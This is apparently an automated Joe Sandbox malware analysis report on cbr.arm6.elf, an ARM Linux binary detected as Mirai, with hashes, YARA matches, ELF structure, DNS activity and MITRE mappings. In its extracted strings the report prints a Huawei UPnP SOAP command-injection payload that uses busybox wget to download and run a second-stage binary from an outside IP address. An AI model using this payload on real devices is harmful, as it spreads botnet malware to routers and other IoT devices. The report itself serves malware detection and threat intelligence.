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Linux Analysis Report
cbr.arm6.elf

Overview

General Information

Sample name:	cbr.arm6.elf
Analysis ID:	1634950
MD5:	01973c40e33b2fe872895f7c8eaf6fef
SHA1:	8b3df8b39588a9ca7d936090c4a90782e4daef54
SHA256:	101987863ce5d688ef54f34f1aa6e150b3616751ed1617f565955b909050c2be
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1634950
Start date and time:	2025-03-11 08:12:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	cbr.arm6.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/cbr.arm6.elf
PID:	5450
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

cbr.arm6.elf (PID: 5450, Parent: 5375, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/cbr.arm6.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
cbr.arm6.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
cbr.arm6.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5450.1.00007f3df4017000.00007f3df4029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5450.1.00007f3df4017000.00007f3df4029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: cbr.arm6.elf PID: 5450	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal72.troj.linELF@0/0@2/0

Source: /tmp/cbr.arm6.elf (PID: 5450)

Queries kernel information via 'uname':

Jump to behavior

Source: cbr.arm6.elf, 5450.1.00007ffd31d8f000.00007ffd31db0000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/cbr.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/cbr.arm6.elf
Source: cbr.arm6.elf, 5450.1.00005644a2395000.00005644a24c3000.rw-.sdmp	Binary or memory string: DV!/etc/qemu-binfmt/arm
Source: cbr.arm6.elf, 5450.1.00005644a2395000.00005644a24c3000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: cbr.arm6.elf, 5450.1.00007ffd31d8f000.00007ffd31db0000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: cbr.arm6.elf, 5450.1.00007ffd31d8f000.00007ffd31db0000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: cbr.arm6.elf, type: SAMPLE
Source: Yara match	File source: 5450.1.00007f3df4017000.00007f3df4029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cbr.arm6.elf PID: 5450, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: cbr.arm6.elf, type: SAMPLE
Source: Yara match	File source: 5450.1.00007f3df4017000.00007f3df4029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cbr.arm6.elf PID: 5450, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
cbr.arm6.elf	63%	ReversingLabs	Linux.Backdoor.Mirai
cbr.arm6.elf	100%	Avira	EXP/ELF.Mirai.W

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://104.168.101.23/cbr.mips	cbr.arm6.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	cbr.arm6.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	cbr.arm6.elf	false	high

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	cbr.sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	cbr.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	cbr.mips.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	cbr.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	sshd.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	cbr.arc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	cbr.x86.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	cbr.mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	linux.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.077267090671898
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	cbr.arm6.elf
File size:	75'052 bytes
MD5:	01973c40e33b2fe872895f7c8eaf6fef
SHA1:	8b3df8b39588a9ca7d936090c4a90782e4daef54
SHA256:	101987863ce5d688ef54f34f1aa6e150b3616751ed1617f565955b909050c2be
SHA512:	eed98d2fdaa4b0aa678814a06793dd6c18f4a19785d4636d257a737ba656e5d545bc9c957cb43aaee5de73eec209cbbfd51207608f0dc546b8ef46b027f04974
SSDEEP:	1536:aRn7UAdCfzTbfkJVELQvFaG/XcDIsifrqdITNqz5eYivwi:/jkJVLFaarqdITNqz4V
TLSH:	F1731B9AB981BB25C6C2557BFE0F014E33138B6CE3DE73129D285B74778746B0E2A506
File Content Preview:	.ELF..............(.....T...4...L#......4. ...(.......................................... ... ... ......L...........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.."....... ....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74572
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xfa80	0x0	0x6	AX	16
.fini	PROGBITS	0x17b30	0xfb30	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x17b40	0xfb40	0x1e50	0x0	0x2	A	8
.init_array	INIT_ARRAY	0x22004	0x12008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x22008	0x1200c	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x22010	0x12014	0x7c	0x4	0x3	WA	4
.data	PROGBITS	0x2208c	0x12090	0x24c	0x0	0x3	WA	4
.bss	NOBITS	0x222d8	0x122dc	0x2578	0x0	0x3	WA	8
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x122dc	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x122ec	0x5d	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x11990	0x11990	6.1836	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x12004	0x22004	0x22000	0x2d8	0xa84c	3.6576	0x6	RW	0x8000	.init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 11, 2025 08:13:12.922835112 CET	40242	53	192.168.2.13	8.8.8.8
Mar 11, 2025 08:13:12.922887087 CET	44466	53	192.168.2.13	8.8.8.8
Mar 11, 2025 08:13:12.929892063 CET	53	40242	8.8.8.8	192.168.2.13
Mar 11, 2025 08:13:12.930262089 CET	53	44466	8.8.8.8	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 11, 2025 08:13:12.922835112 CET	192.168.2.13	8.8.8.8	0x74e0	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Mar 11, 2025 08:13:12.922887087 CET	192.168.2.13	8.8.8.8	0xe30e	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 11, 2025 08:13:12.929892063 CET	8.8.8.8	192.168.2.13	0x74e0	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Mar 11, 2025 08:13:12.929892063 CET	8.8.8.8	192.168.2.13	0x74e0	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: cbr.arm6.elf PID: 5450, Parent PID: 5375

General

Start time (UTC):	07:13:10
Start date (UTC):	11/03/2025
Path:	/tmp/cbr.arm6.elf
Arguments:	/tmp/cbr.arm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: cbr.arm6.elf	String found in binary or memory: http://104.168.101.23/cbr.mips
Source: cbr.arm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: cbr.arm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report cbr.arm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: cbr.arm6.elf PID: 5450, Parent PID: 5375

General

File Activities

File Opened

File Read

Process Activities

Signal Sent

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Linux Analysis Report
cbr.arm6.elf